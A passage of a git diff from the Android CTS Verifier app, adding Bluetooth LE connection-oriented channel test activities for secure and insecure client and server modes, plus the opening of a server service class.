+                BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);
+                int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE,
+                                               BluetoothDevice.BOND_NONE);
+                switch (state) {
+                    case BluetoothDevice.BOND_BONDED:
+                        if (mBluetoothGatt == null) {
+                            if (DEBUG) {
+                                Log.d(TAG, "onReceive:BOND_BONDED: calling connectGatt. device="
+                                             + device + ", mSecure=" + mSecure);
+                            }
+                            mDevice = device;
+                            mBluetoothGatt = connectGatt(device, BleCocClientService.this, false, mSecure,
+                                                         mGattCallbacks);
+                        }
+                        break;
+                    case BluetoothDevice.BOND_NONE:
+                        notifyError("Failed to create bond");
+                        break;
+                    case BluetoothDevice.BOND_BONDING:
+                        // fall through
+                    default:
+                        // wait for next state
+                        break;
+                }
+            }
+        }
+    };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientTestBaseActivity.java
new file mode 100644
index 0000000..c5c84d2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientTestBaseActivity.java
@@ -0,0 +1,295 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.app.AlertDialog;
+import android.app.Dialog;
+import android.app.ProgressDialog;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Handler;
+import android.widget.ListView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.ArrayList;
+import java.util.List;
+import android.util.Log;
+
+public class BleCocClientTestBaseActivity extends PassFailButtons.Activity {
+    public static final String TAG = "BleCocClientTestBase";
+
+    private static final boolean STEP_EXECUTION = false;
+
+    private final int TEST_BLE_LE_CONNECTED = 0;
+    private final int TEST_BLE_GOT_PSM = 1;
+    private final int TEST_BLE_COC_CONNECTED = 2;
+    private final int TEST_BLE_CONNECTION_TYPE_CHECKED = 3;
+    private final int TEST_BLE_DATA_8BYTES_SENT = 4;
+    private final int TEST_BLE_DATA_8BYTES_READ = 5;
+    private final int TEST_BLE_DATA_EXCHANGED = 6;
+    private final int TEST_BLE_CLIENT_DISCONNECTED = 7;
+    private static final int PASS_FLAG_ALL = 0x00FF;
+
+    private TestAdapter mTestAdapter;
+    private long mPassed;
+    private Dialog mDialog;
+    private Handler mHandler;
+
+    private static final long BT_ON_DELAY = 10000;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.ble_server_start);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        mTestAdapter = new TestAdapter(this, setupTestList());
+        ListView listView = (ListView) findViewById(R.id.ble_server_tests);
+        listView.setAdapter(mTestAdapter);
+
+        mPassed = 0;
+        mHandler = new Handler();
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+
+        IntentFilter filter = new IntentFilter();
+
+        filter.addAction(BleCocClientService.BLE_LE_CONNECTED);
+        filter.addAction(BleCocClientService.BLE_GOT_PSM);
+        filter.addAction(BleCocClientService.BLE_COC_CONNECTED);
+        filter.addAction(BleCocClientService.BLE_CONNECTION_TYPE_CHECKED);
+        filter.addAction(BleCocClientService.BLE_DATA_8BYTES_SENT);
+        filter.addAction(BleCocClientService.BLE_DATA_8BYTES_READ);
+        filter.addAction(BleCocClientService.BLE_DATA_LARGEBUF_READ);
+        filter.addAction(BleCocClientService.BLE_LE_DISCONNECTED);
+
+        filter.addAction(BleCocClientService.BLE_BLUETOOTH_DISCONNECTED);
+        filter.addAction(BleCocClientService.BLE_BLUETOOTH_DISABLED);
+        filter.addAction(BleCocClientService.BLE_BLUETOOTH_MISMATCH_SECURE);
+        filter.addAction(BleCocClientService.BLE_BLUETOOTH_MISMATCH_INSECURE);
+        filter.addAction(BleCocClientService.BLE_CLIENT_ERROR);
+
+        registerReceiver(mBroadcast, filter);
+    }
+
+    @Override
+    public void onPause() {
+        super.onPause();
+        unregisterReceiver(mBroadcast);
+        closeDialog();
+    }
+
+    private synchronized void closeDialog() {
+        if (mDialog != null) {
+            mDialog.dismiss();
+            mDialog = null;
+        }
+    }
+
+    private synchronized void showProgressDialog() {
+        closeDialog();
+
+        ProgressDialog dialog = new ProgressDialog(this);
+        dialog.setTitle(R.string.ble_test_running);
+        dialog.setProgressStyle(ProgressDialog.STYLE_SPINNER);
+        dialog.setMessage(getString(R.string.ble_test_running_message));
+        dialog.setCanceledOnTouchOutside(false);
+        mDialog = dialog;
+        mDialog.show();
+    }
+
+    private List<Integer> setupTestList() {
+        ArrayList<Integer> testList = new ArrayList<Integer>();
+        testList.add(R.string.ble_coc_client_le_connect);
+        testList.add(R.string.ble_coc_client_get_psm);
+        testList.add(R.string.ble_coc_client_coc_connect);
+        testList.add(R.string.ble_coc_client_check_connection_type);
+        testList.add(R.string.ble_coc_client_send_data_8bytes);
+        testList.add(R.string.ble_coc_client_receive_data_8bytes);
+        testList.add(R.string.ble_coc_client_data_exchange);
+        testList.add(R.string.ble_client_disconnect_name);
+        return testList;
+    }
+
+    private void showErrorDialog(int titleId, int messageId, boolean finish) {
+        AlertDialog.Builder builder = new AlertDialog.Builder(this)
+                .setTitle(titleId)
+                .setMessage(messageId);
+        if (finish) {
+            builder.setOnCancelListener(new Dialog.OnCancelListener() {
+                @Override
+                public void onCancel(DialogInterface dialog) {
+                    finish();
+                }
+            });
+        }
+        builder.create().show();
+    }
+
+    private BroadcastReceiver mBroadcast = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            boolean showProgressDialog = false;
+            closeDialog();
+
+            String action = intent.getAction();
+            String newAction = null;
+            String actionName = null;
+            long previousPassed = mPassed;
+            final Intent startIntent = new Intent(BleCocClientTestBaseActivity.this, BleCocClientService.class);
+            if (action != null) {
+                Log.d(TAG, "Processing " + action);
+            }
+            switch (action) {
+            case BleCocClientService.BLE_LE_CONNECTED:
+                actionName = getString(R.string.ble_coc_client_le_connect);
+                mTestAdapter.setTestPass(TEST_BLE_LE_CONNECTED);
+                mPassed |= (1 << TEST_BLE_LE_CONNECTED);
+                // Start LE Service Discovery and then read the PSM
+                newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_GET_PSM;
+                break;
+
+            case BleCocClientService.BLE_GOT_PSM:
+                actionName = getString(R.string.ble_coc_client_get_psm);
+                mTestAdapter.setTestPass(TEST_BLE_GOT_PSM);
+                mPassed |= (1 << TEST_BLE_GOT_PSM);
+                // Connect the LE CoC
+                newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_COC_CLIENT_CONNECT;
+                break;
+
+            case BleCocClientService.BLE_COC_CONNECTED:
+                actionName = getString(R.string.ble_coc_client_coc_connect);
+                mTestAdapter.setTestPass(TEST_BLE_COC_CONNECTED);
+                mPassed |= (1 << TEST_BLE_COC_CONNECTED);
+                // Check the connection type
+                newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_CHECK_CONNECTION_TYPE;
+                break;
+
+            case BleCocClientService.BLE_CONNECTION_TYPE_CHECKED:
+                actionName = getString(R.string.ble_coc_client_check_connection_type);
+                mTestAdapter.setTestPass(TEST_BLE_CONNECTION_TYPE_CHECKED);
+                mPassed |= (1 << TEST_BLE_CONNECTION_TYPE_CHECKED);
+                // Send 8 bytes
+                newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_SEND_DATA_8BYTES;
+                break;
+
+            case BleCocClientService.BLE_DATA_8BYTES_SENT:
+                actionName = getString(R.string.ble_coc_client_send_data_8bytes);
+                mTestAdapter.setTestPass(TEST_BLE_DATA_8BYTES_SENT);
+                mPassed |= (1 << TEST_BLE_DATA_8BYTES_SENT);
+                // Read 8 bytes
+                newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_READ_DATA_8BYTES;
+                break;
+
+            case BleCocClientService.BLE_DATA_8BYTES_READ:
+                actionName = getString(R.string.ble_coc_client_receive_data_8bytes);
+                mTestAdapter.setTestPass(TEST_BLE_DATA_8BYTES_READ);
+                mPassed |= (1 << TEST_BLE_DATA_8BYTES_READ);
+                // Do data exchanges
+                newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_EXCHANGE_DATA;
+                break;
+
+            case BleCocClientService.BLE_DATA_LARGEBUF_READ:
+                actionName = getString(R.string.ble_coc_client_data_exchange);
+                mTestAdapter.setTestPass(TEST_BLE_DATA_EXCHANGED);
+                mPassed |= (1 << TEST_BLE_DATA_EXCHANGED);
+                // Disconnect
+                newAction = BleCocClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
+                break;
+
+            case BleCocClientService.BLE_BLUETOOTH_DISCONNECTED:
+                mTestAdapter.setTestPass(TEST_BLE_CLIENT_DISCONNECTED);
+                mPassed |= (1 << TEST_BLE_CLIENT_DISCONNECTED);
+                // all tests done
+                newAction = null;
+                break;
+
+            case BleCocClientService.BLE_BLUETOOTH_DISABLED:
+                showErrorDialog(R.string.ble_bluetooth_disable_title, R.string.ble_bluetooth_disable_message, true);
+                break;
+
+            case BleCocClientService.BLE_BLUETOOTH_MISMATCH_SECURE:
+                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
+                break;
+
+            case BleCocClientService.BLE_BLUETOOTH_MISMATCH_INSECURE:
+                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_insecure_message, true);
+                break;
+
+            default:
+                Log.e(TAG, "onReceive: Error: unhandled action=" + action);
+            }
+
+            if (previousPassed != mPassed) {
+                String logMessage = String.format("Passed Flags has changed from 0x%08X to 0x%08X. Delta=0x%08X",
+                                                  previousPassed, mPassed, mPassed ^ previousPassed);
+                Log.d(TAG, logMessage);
+            }
+
+            mTestAdapter.notifyDataSetChanged();
+
+            if (newAction != null) {
+                Log.d(TAG, "Starting " + newAction);
+                startIntent.setAction(newAction);
+                if (STEP_EXECUTION) {
+                    closeDialog();
+                    final boolean showProgressDialogValue = showProgressDialog;
+                    mDialog = new AlertDialog.Builder(BleCocClientTestBaseActivity.this)
+                            .setTitle(actionName)
+                            .setMessage(R.string.ble_test_finished)
+                            .setCancelable(false)
+                            .setPositiveButton(R.string.ble_test_next,
+                                    new DialogInterface.OnClickListener() {
+                                        @Override
+                                        public void onClick(DialogInterface dialog, int which) {
+                                            closeDialog();
+                                            if (showProgressDialogValue) {
+                                                showProgressDialog();
+                                            }
+                                            startService(startIntent);
+                                        }
+                                    })
+                            .show();
+                } else {
+                    if (showProgressDialog) {
+                        showProgressDialog();
+                    }
+                    startService(startIntent);
+                }
+            } else {
+                closeDialog();
+            }
+
+            if (mPassed == PASS_FLAG_ALL) {
+                Log.d(TAG, "All Tests Passed.");
+                getPassButton().setEnabled(true);
+            }
+        }
+    };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientStartActivity.java
new file mode 100644
index 0000000..177f953
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientStartActivity.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.content.Intent;
+import android.os.Bundle;
+import com.android.cts.verifier.R;
+
+public class BleCocInsecureClientStartActivity extends BleCocClientTestBaseActivity {
+    private Intent mIntent;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setInfoResources(R.string.ble_coc_client_test_name,
+                R.string.ble_coc_insecure_client_test_info, -1);
+
+        mIntent = new Intent(this, BleCocClientService.class);
+        mIntent.setAction(BleCocClientService.BLE_COC_CLIENT_ACTION_LE_INSECURE_CONNECT);
+
+        startService(mIntent);
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        stopService(mIntent);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientTestListActivity.java
new file mode 100644
index 0000000..f60909a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientTestListActivity.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.bluetooth.BluetoothAdapter;
+import android.os.Bundle;
+
+import com.android.cts.verifier.ManifestTestListAdapter;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class BleCocInsecureClientTestListActivity extends PassFailButtons.TestListActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.pass_fail_list);
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.ble_coc_insecure_client_test_list_name,
+                R.string.ble_coc_insecure_client_test_list_info,
+                -1);
+
+        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
+        List<String> disabledTest = new ArrayList<String>();
+
+        setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),
+                disabledTest.toArray(new String[disabledTest.size()])));
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerStartActivity.java
new file mode 100644
index 0000000..7f7808b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerStartActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+public class BleCocInsecureServerStartActivity extends BleCocServerTestBaseActivity {
+    private Intent mIntent;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mIntent = new Intent(this, BleCocServerService.class);
+        mIntent.setAction(BleCocServerService.BLE_ACTION_COC_SERVER_INSECURE);
+        startService(mIntent);
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        stopService(mIntent);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerTestListActivity.java
new file mode 100644
index 0000000..2f5c59e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerTestListActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.bluetooth.BluetoothAdapter;
+import android.os.Bundle;
+
+import com.android.cts.verifier.ManifestTestListAdapter;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class BleCocInsecureServerTestListActivity extends PassFailButtons.TestListActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.pass_fail_list);
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.ble_coc_insecure_server_test_list_name, R.string.ble_coc_insecure_server_test_list_info, -1);
+
+        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
+        List<String> disabledTest = new ArrayList<String>();
+        // TODO: Any need to remove certain tests based on supported features?
+
+        setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),
+                disabledTest.toArray(new String[disabledTest.size()])));
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientStartActivity.java
new file mode 100644
index 0000000..ae97daa
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientStartActivity.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.content.Intent;
+import android.os.Bundle;
+import com.android.cts.verifier.R;
+
+public class BleCocSecureClientStartActivity extends BleCocClientTestBaseActivity {
+    private Intent mIntent;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setInfoResources(R.string.ble_coc_client_test_name,
+                R.string.ble_coc_secure_client_test_info, -1);
+
+        mIntent = new Intent(this, BleCocClientService.class);
+        mIntent.setAction(BleCocClientService.BLE_COC_CLIENT_ACTION_LE_SECURE_CONNECT);
+
+        startService(mIntent);
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        stopService(mIntent);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientTestListActivity.java
new file mode 100644
index 0000000..0370ab6
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientTestListActivity.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.bluetooth.BluetoothAdapter;
+import android.os.Bundle;
+
+import com.android.cts.verifier.ManifestTestListAdapter;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class BleCocSecureClientTestListActivity extends PassFailButtons.TestListActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.pass_fail_list);
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.ble_coc_secure_client_test_list_name,
+                R.string.ble_coc_secure_client_test_list_info,
+                -1);
+
+        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
+        List<String> disabledTest = new ArrayList<String>();
+
+        setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),
+                disabledTest.toArray(new String[disabledTest.size()])));
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerStartActivity.java
new file mode 100644
index 0000000..b7b04ac
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerStartActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+public class BleCocSecureServerStartActivity extends BleCocServerTestBaseActivity {
+    private Intent mIntent;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mIntent = new Intent(this, BleCocServerService.class);
+        mIntent.setAction(BleCocServerService.BLE_ACTION_COC_SERVER_SECURE);
+        startService(mIntent);
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        stopService(mIntent);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerTestListActivity.java
new file mode 100644
index 0000000..84f541c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerTestListActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.bluetooth.BluetoothAdapter;
+import android.os.Bundle;
+
+import com.android.cts.verifier.ManifestTestListAdapter;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class BleCocSecureServerTestListActivity extends PassFailButtons.TestListActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.pass_fail_list);
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.ble_coc_secure_server_test_list_name, R.string.ble_coc_secure_server_test_list_info, -1);
+
+        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
+        List<String> disabledTest = new ArrayList<String>();
+        // TODO: Any need to remove certain tests based on supported features?
+
+        setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),
+                disabledTest.toArray(new String[disabledTest.size()])));
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerService.java
new file mode 100644
index 0000000..ee6342b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerService.java
@@ -0,0 +1,766 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.app.Service;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothGatt;
+import android.bluetooth.BluetoothGattCharacteristic;
+import android.bluetooth.BluetoothGattDescriptor;
+import android.bluetooth.BluetoothGattServer;
+import android.bluetooth.BluetoothGattServerCallback;
+import android.bluetooth.BluetoothGattService;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothServerSocket;
+import android.bluetooth.BluetoothSocket;
+import android.bluetooth.le.AdvertiseCallback;
+import android.bluetooth.le.AdvertiseData;
+import android.bluetooth.le.AdvertiseSettings;
+import android.bluetooth.le.BluetoothLeAdvertiser;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Message;
+import android.os.ParcelUuid;
+import android.util.Log;
+import android.widget.Toast;
+
+import com.android.cts.verifier.R;
+
+import java.io.IOException;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Set;
+import java.util.Timer;
+import java.util.UUID;
+
+public class BleCocServerService extends Service {
+
+    public static final boolean DEBUG = true;
+    public static final String TAG = "BleCocServerService";
+
+    public static final int COMMAND_ADD_SERVICE = 0;
+    public static final int COMMAND_WRITE_CHARACTERISTIC = 1;
+    public static final int COMMAND_WRITE_DESCRIPTOR = 2;
+
+    public static final int TEST_DATA_EXCHANGE_BUFSIZE = 8 * 1024;
+
+    public static final String BLE_BLUETOOTH_MISMATCH_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_SECURE";
+    public static final String BLE_BLUETOOTH_MISMATCH_INSECURE =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_INSECURE";
+    public static final String BLE_BLUETOOTH_DISABLED =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_DISABLED";
+
+    public static final String BLE_ACTION_COC_SERVER_INSECURE =
+            "com.android.cts.verifier.bluetooth.BLE_ACTION_COC_SERVER_INSECURE";
+    public static final String BLE_ACTION_COC_SERVER_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_ACTION_COC_SERVER_SECURE";
+
+    public static final String BLE_ACTION_SERVER_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_ACTION_SERVER_SECURE";
+    public static final String BLE_ACTION_SERVER_NON_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_ACTION_SERVER_NON_SECURE";
+
+    public static final String BLE_LE_CONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_LE_CONNECTED";
+    public static final String BLE_COC_LISTENER_CREATED =
+            "com.android.cts.verifier.bluetooth.BLE_COC_LISTENER_CREATED";
+    public static final String BLE_PSM_READ =
+            "com.android.cts.verifier.bluetooth.BLE_PSM_READ";
+    public static final String BLE_COC_CONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CONNECTED";
+    public static final String BLE_CONNECTION_TYPE_CHECKED =
+            "com.android.cts.verifier.bluetooth.BLE_CONNECTION_TYPE_CHECKED";
+    public static final String BLE_DATA_8BYTES_READ =
+            "com.android.cts.verifier.bluetooth.BLE_DATA_8BYTES_READ";
+    public static final String BLE_DATA_LARGEBUF_READ =
+            "com.android.cts.verifier.bluetooth.BLE_DATA_LARGEBUF_READ";
+    public static final String BLE_DATA_8BYTES_SENT =
+            "com.android.cts.verifier.bluetooth.BLE_DATA_8BYTES_SENT";
+    public static final String BLE_LE_DISCONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_LE_DISCONNECTED";
+    public static final String BLE_COC_SERVER_ACTION_SEND_DATA_8BYTES =
+            "com.android.cts.verifier.bluetooth.BLE_COC_SERVER_ACTION_SEND_DATA_8BYTES";
+    public static final String BLE_COC_SERVER_ACTION_EXCHANGE_DATA =
